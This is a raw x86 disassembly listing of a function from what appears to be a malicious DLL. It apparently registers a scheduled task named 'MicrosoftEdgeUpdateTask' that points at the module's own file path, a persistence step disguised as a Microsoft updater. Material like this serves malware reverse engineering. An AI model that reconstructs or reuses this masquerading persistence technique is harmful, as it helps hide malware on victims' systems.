call fcn.10006c45
lea ecx, [ebp - 0x334]
call fcn.10006c45
lea ecx, [ebp - 0x384]
call fcn.10006c45
lea ecx, [ebp - 0x31c]
call fcn.10006c45
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x4c
call fcn.10006c45
mov eax, dword [ebp - 0x278]
test eax, eax
je 0x10002e11
mov edx, dword [eax]
jmp 0x10002e13
mov edx, ebx
mov eax, dword [ebp - 0x27c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x27c]
lea edx, [ebp - 0x290]
mov dword [ebp - 0x290], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov edi, 0x1002d830
lea ecx, [ebp - 0x2e8]
push edi
call fcn.10001a33
mov byte [ebp - 4], 0x4d
mov edx, dword [eax]
test edx, edx
je 0x10002e58
mov edx, dword [edx]
jmp 0x10002e5a
mov edx, ebx
mov eax, dword [ebp - 0x290]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
lea ecx, [ebp - 0x2e8]
call fcn.10001a9f
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0xd
call fcn.10001a9f
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2c4]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2c4]
lea edx, [ebp - 0x29c]
push edx
mov dword [ebp - 0x29c], ebx
push 0x10024070
mov ecx, dword [eax]
push eax
call dword [ecx]
push 0x1002d850
lea ecx, [ebp - 0x350]
call fcn.10001a33
mov byte [ebp - 4], 0x4e
mov edx, dword [eax]
test edx, edx
je 0x10002ed1
mov edx, dword [edx]
jmp 0x10002ed3
mov edx, ebx
mov eax, dword [ebp - 0x29c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xd
call fcn.10001a9f
mov eax, dword [ebp - 0x29c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov eax, dword [ebp - 0x29c]
lea edx, [ebp - 0x2b0]
mov dword [ebp - 0x2b0], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
push edi
lea ecx, [ebp - 0x2e8]
call fcn.10001a33
mov byte [ebp - 4], 0x4f
mov edx, dword [eax]
test edx, edx
je 0x10002f30
mov edx, dword [edx]
jmp 0x10002f32
mov edx, ebx
mov eax, dword [ebp - 0x2b0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0xd
call fcn.10001a9f
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2c0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x2c0]
lea edx, [ebp - 0x2bc]
push edx
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
mov eax, dword [ebp - 0x2bc]
lea edx, [ebp - 0x2b4]
push edx
push str.MbLk
push eax
mov ecx, dword [eax]
call dword [ecx]
mov eax, dword [ebp - 0x2e4]
cmp eax, 0x1002d7bb
jne 0x10002fc4
push 0x104
lea eax, [ebp - 0x184]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.100019d1
mov byte [ebp - 4], 0x50
jmp 0x10002fd4
push eax
lea ecx, [ebp - 0x2e4]
call fcn.100019d1
mov byte [ebp - 4], 0x51
mov edx, dword [eax]
test edx, edx
je 0x10002fde
mov edx, dword [edx]
jmp 0x10002fe0
mov edx, ebx
mov eax, dword [ebp - 0x2b4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x2e4]
mov byte [ebp - 4], 0xd
call fcn.10001a9f
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
push 0x50
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x274]
call fcn.100066f6
push str.MicrosoftEdgeUpdateTask
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 0x52
call fcn.100066f6
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x244]
cmp dword [ebp - 0x230], esi
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x278], ebx
cmovae eax, dword [ebp - 0x244]
push eax
call fcn.10001a33
mov byte [ebp - 4], 0x54
push 0x1002d83c
mov word [ebp - 0x364], si
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x35c], eax
test eax, eax
je 0x100031be
lea esi, [ebp - 0x364]
lea edi, [ebp - 0x194]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x32c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x32c]
lea edi, [ebp - 0x2fc]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x314]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x57
mov eax, dword [ebp - 0x278]
test eax, eax
je 0x100030d6
mov ebx, dword [eax]
lea edx, [ebp - 0x2dc]
mov eax, dword [ebp - 0x2b8]
push edx
sub esp, 0x10
lea esi, [ebp - 0x194]
mov edi, esp
mov ecx, dword [eax]
push 3
movsd dword es:[edi], dword [esi]
pop edx
push edx
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2fc]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x314]
push 6
push dword [ebp - 0x294]
movsd dword es:[edi], dword [esi]
push ebx
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x44]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x314]
push eax
call esi
lea eax, [ebp - 0x32c]
push eax
call esi
lea eax, [ebp - 0x364]
push eax
call esi
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x278]
call fcn.10001a9f
lea ecx, [ebp - 0x244]
call fcn.10006c45
lea ecx, [ebp - 0x274]
call fcn.10006c45
lea ecx, [ebp - 0x25c]
call fcn.10006c45
lea ecx, [ebp - 0x1fc]
call fcn.10006c45
lea ecx, [ebp - 0x1e4]
call fcn.10006c45
lea ecx, [ebp - 0x1cc]
call fcn.10006c45
lea ecx, [ebp - 0x1b4]
call fcn.10006c45
lea ecx, [ebp - 0x214]
call fcn.10006c45
lea ecx, [ebp - 0x22c]
call fcn.10006c45
call fcn.100092a3
ret
push 0x8007000e
call fcn.100088a0
int3